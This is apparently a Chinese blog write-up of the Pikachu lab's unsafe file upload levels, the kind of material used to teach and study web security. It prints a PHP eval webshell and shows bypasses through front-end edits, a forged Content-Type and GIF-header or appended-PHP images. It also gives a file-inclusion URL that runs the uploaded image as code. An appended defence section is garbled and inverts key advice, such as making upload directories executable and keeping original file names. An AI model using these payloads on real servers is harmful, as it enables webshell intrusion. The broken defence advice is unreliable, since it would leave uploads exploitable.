PiKachu靶场之不安全的文件上传漏洞

概述

文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。

所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:
--验证文件类型、后缀名、大小;
--验证文件的上传方式;
--对文件进行一定复杂的重命名;
--不要暴露文件上传后的路径;
--等等...

你可以通过“Unsafe file upload”对应的测试栏目,来进一步的了解该漏洞。

 

 

 

一、客户端/前端上传检测

如果把检测放在前端:

function checkFileExt(filename)
    {
        var flag = false; //状态
        var arr = ["jpg","png","gif"];
        //取出上传文件的扩展名
        var index = filename.lastIndexOf(".");
        var ext = filename.substr(index+1);
        //比较
        for(var i=0;i<arr.length;i++)
        {
            if(ext == arr[i])
            {
                flag = true; //一旦找到合适的,立即退出循环
                break;
            }
        }
        //条件判断
        if(!flag)
        {
            alert("上传的文件不符合要求,请重新选择!");
            location.reload(true);
        }
    }

分析

我们先上传一个非图片的后门脚本 hack.php:

<?php 
	@eval($_POST['hack']);
?>

发现被前端拦截了:

 

虽然前端的函数用了白名单进行过滤,  但是并不是安全的。

漏洞利用

可以通过修改网页源码的方式来绕过:

一切在前端做的安全措施都是不靠谱的 !

 

 

 

二、服务端上传检测

既然前端检测不安全,  那么就把上传检测放到服务端,  这就安全了吗? 我们拭目以待

分析

当我们选择非图片的文件时,  不会拦截;  而当点击上传时,  在服务端检测到非图片格式, 就被拦截了:

漏洞利用

尽管如此,  我们也可以通过抓包修改数据包的关键信息,  使服务端认为该文件是合法的

在此之前,  先拓展一个知识点:

MIME (Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型

MIME 是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问时,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。常见的 MIME 类型,比如:

  • 超文本标记语言:.html,.html text.html
  • 普通文件:.txt text/plain
  • RTF文件:.rtf application/rtf
  • GIF图形:.gif image/gif
  • JPEG图形:.jpeg,.jpg image/jpeg

那么我们就可以通过抓包修改数据包中HTTP中的 Content-Type,  让服务端误认为恶意脚本文件是合法图片格式

然后就可以成功绕过检测了:

 

 

 

 

三、基于文件内容的上传检测

  • getimagesize(string filename) 函数

函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。即函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。

可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,  即取最后一个后缀,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。

分析

假如我们尝试上一关的方法,  是不能通过图片内容检测的:

服务端有可能直接判断文件后缀类型了,  我们将后缀改为jpg继续试试:

即使脚本类型为jpg的,  但是当内容非图片格式的时候,  也不能上传。

漏洞利用

有两种方法绕过:

  • 添加jpg图片的格式头到脚本

hack.jpg

GIF89
<?php   
    phpinfo();
?>

上传成功: 

  • jpg+php组合拳

用命令:

echo '<?php  phpinfo(); ?>' >> pic.jpg

将php一句话写到图片pic.jpg的末尾 (注意大小不要太大):

然后上传即可绕过检测:

通过以上两种中的任意一种方法上传成功"图片格式"的木马后怎么拿执行呢??

服务器将木马文件解析成了图片文件,因此向其发送执行该文件的请求时,服务器只会返回这个“图片”文件,并不会执行相应命令。

利用 文件包含漏洞 可以将图片格式的文件当做php文件来解析执行:

http://localhost/pikachu-master/vul/fileinclude/fi_local.php
?filename=../../unsafeupload/uploads/2020/02/21/4297605e4fd433f3445241700590.jpg
&submit=提交查询

当然也可以上传一句话木马,  然后用文件包含漏洞来拿webshell。

### Pikachu靶场中的文件上传漏洞Pikachu靶场中,文件上传功能如果缺乏适当的安全验证机制,则可能被攻击者利用来上传恶意脚本或文件。为了防止这种情况发生,在处理文件上传时应采取多种安全措施。 #### 验证文件类型和扩展名 服务器端应对上传的文件进行严格的类型检查,仅依赖于客户端提交的内容类型声明,还需要基于实际文件头信息判断文件的真实格式[^1]。例如: ```php // PHP示例代码用于检测图像文件的真实性 function is_valid_image($file){ $allowed_mime_types = ['image/jpeg', 'image/png']; $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime_type = finfo_file($finfo, $file['tmp_name']); return in_array($mime_type, $allowed_mime_types); } ``` #### 设置固定存储路径并禁用执行权限 对于允许用户上传的数据,应该将其保存在一个专门设计用来存放此类数据的位置,并确保该目录下的任何文件都具备被执行的能力。这可以通过配置Web服务器设置来完成,比如Apache中的`.htaccess`文件或者Nginx配置文件内的相应指令[^2]。 #### 使用随机化文件名 为了避免覆盖现有文件的风险以及减少预测性风险,建议每次接收到新文件时为其分配唯一的名称,而是保留原始文件名。这样也可以帮助防范某些类型的攻击向量。 #### 实施大小限制和其他约束条件 设定合理的最大尺寸上限以及其他必要的参数控制(如宽高比例),从而进一步降低潜在威胁的可能性。这些可以在应用程序层面实施,也可以通过调整HTTP请求解析器的行为来进行更底层级别的防护。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值